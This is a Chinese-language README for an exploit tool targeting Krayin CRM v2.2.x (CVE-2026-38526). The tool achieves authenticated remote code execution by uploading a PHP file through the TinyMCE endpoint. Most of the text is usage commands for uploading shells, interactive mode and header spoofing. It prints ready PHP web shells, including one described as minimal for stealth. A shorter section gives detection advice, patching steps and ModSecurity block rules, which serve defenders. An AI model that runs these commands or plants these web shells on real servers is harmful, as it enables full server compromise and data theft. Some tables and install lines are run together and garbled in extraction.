
CVE-2026-38526 利用工具,针对 Krayin CRM v2.2.x - 通过 TinyMCE 文件上传绕过实现的认证远程代码执行。功能包括交互式 Shell、多类型 Payload、自动 Shell 生成和验证。作者:Sudeepa Wanigarathna。仅限授权测试使用。
⚠️ 仅限授权安全测试 - 未经授权使用违法且不道德。
本漏洞利用工具演示了在 Krayin CRM 版本 2.2.x 中发现的一个严重已验证远程代码执行 (RCE) 漏洞。该漏洞存在于 TinyMCE 文件上传功能中,允许已验证的管理员在服务器上上传并执行任意 PHP 代码。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-38526 |
| 受影响软件 | Krayin CRM v2.2.x |
| 漏洞类型 | 已验证远程代码执行 (RCE) |
| 需要认证 | 是(管理员级别权限) |
| 影响 | 完全系统沦陷 |
| CVSS 评分 | 8.8(高危) |
该漏洞源于 TinyMCE 文件上传端点 (/admin/tinymce/upload) 的文件类型验证不足。已验证的管理员可以:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
# 使用生成的 Shell 进行基本利用
python3 exploit.py -t http://target.com -u [email protected] -p password
# 上传自定义 PHP Shell 文件
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# 生成高级 Shell 并进入交互模式
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# 仅生成 Shell 文件而不进行利用
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# 使用代理进行测试/调试
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# JSON 输出(适用于自动化)
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# 详细模式 + 自定义超时
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# 自定义 User-Agent 和头部
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
基础 Shell (basic)
使用 system() 函数进行简单命令执行。
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
高级 Shell (advanced)
功能丰富的 Shell,包含:
极简 Shell (minimal)
最小化痕迹以保持隐蔽。
<?php system($_GET["cmd"]); ?>
文件管理器 (file_manager)
完整的文件管理界面:
自定义 Shell (custom)
使用 -f 参数传入自己的 PHP Shell 文件。
适合交互使用的人类可读彩色输出。
-o json)适合自动化和集成的机器可读格式。
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)除错误外不输出任何内容。适用于批处理。
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
需监控的文件:
public/storage/upload/ 目录下的异常 PHP 文件image.php.jpg)需检查的日志:
/admin/tinymce/upload 的 POST 请求系统指标:
立即执行:
# 更新到已修补版本
composer update krayin/crm
# 临时禁用管理员访问
# 移除不必要的管理员账户
# 更改所有管理员密码
文件上传加固:
// 根据内容而非扩展名验证文件类型
// 实施内容安全策略
// 使用 Web 应用防火墙 (WAF)
// 启用文件上传扫描
访问控制:
# 在 .htaccess 中限制管理员 IP
# 为管理员账户实施 MFA
# 定期管理员审计
# 会话超时策略
WAF 规则 (ModSecurity):
# 阻止可疑文件上传
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# 阻止 Web Shell
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
该漏洞是通过负责任的 (responsible) 安全研究发现的。披露流程遵循以下步骤:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
问题:认证失败
/admin/login问题:文件上传失败
问题:Shell 不执行命令
php.ini 中没有禁用 PHP 函数echo test)进行测试问题:SSL 证书错误
--verify-ssl 标志或禁用验证# 启用详细日志
python3 exploit.py -t http://target.com -u admin -p pass -v
# 配合代理(Burp Suite 等)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
欢迎贡献!请确保:
如果您觉得该工具对安全研究有用,请考虑:
为安全研究而作 ❤️
请记住:能力越大,责任越大。请明智地使用这些知识!
# 快速参考
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# 选项:
# -f FILE 上传自定义 Shell
# --shell-type TYPE 基础型 | 高级型 | 极简型 | 文件管理器型 | 自定义型
# -i 交互模式
# --proxy URL HTTP 代理
# -v 详细输出
# -o json JSON 输出
# --generate-only 仅生成 Shell 而不进行利用
# --timeout SEC 请求超时
# --retry N 重试次数
# --user-agent UA 自定义 User-Agent
# --header "K: V" 自定义头部
# --verify-ssl 验证 SSL 证书
# -q, --quiet 抑制输出
🔒 请记住:在测试任何系统之前,务必获取书面授权!
| 参数 | 描述 |
|---|
-t, --target | 目标 URL(例如 http://192.168.1.100) |
-u, --username | 管理员用户名或邮箱 |
-p, --password | 管理员密码 |
| 选项 | 描述 | 默认值 |
|---|
--timeout | 请求超时(秒) | 30 |
--retry | 重试次数 | 3 |
--retry-delay | 重试间隔(秒) | 2 |
--user-agent | 自定义 User-Agent 字符串 | 默认浏览器 UA |
--header | 自定义 HTTP 头部(Key: Value) | 无 |
--verify-ssl | 验证 SSL 证书 | False |
--proxy | HTTP/HTTPS 代理 URL | 无 |
-v, --verbose | 启用调试输出 | False |
-q, --quiet | 抑制所有输出 | False |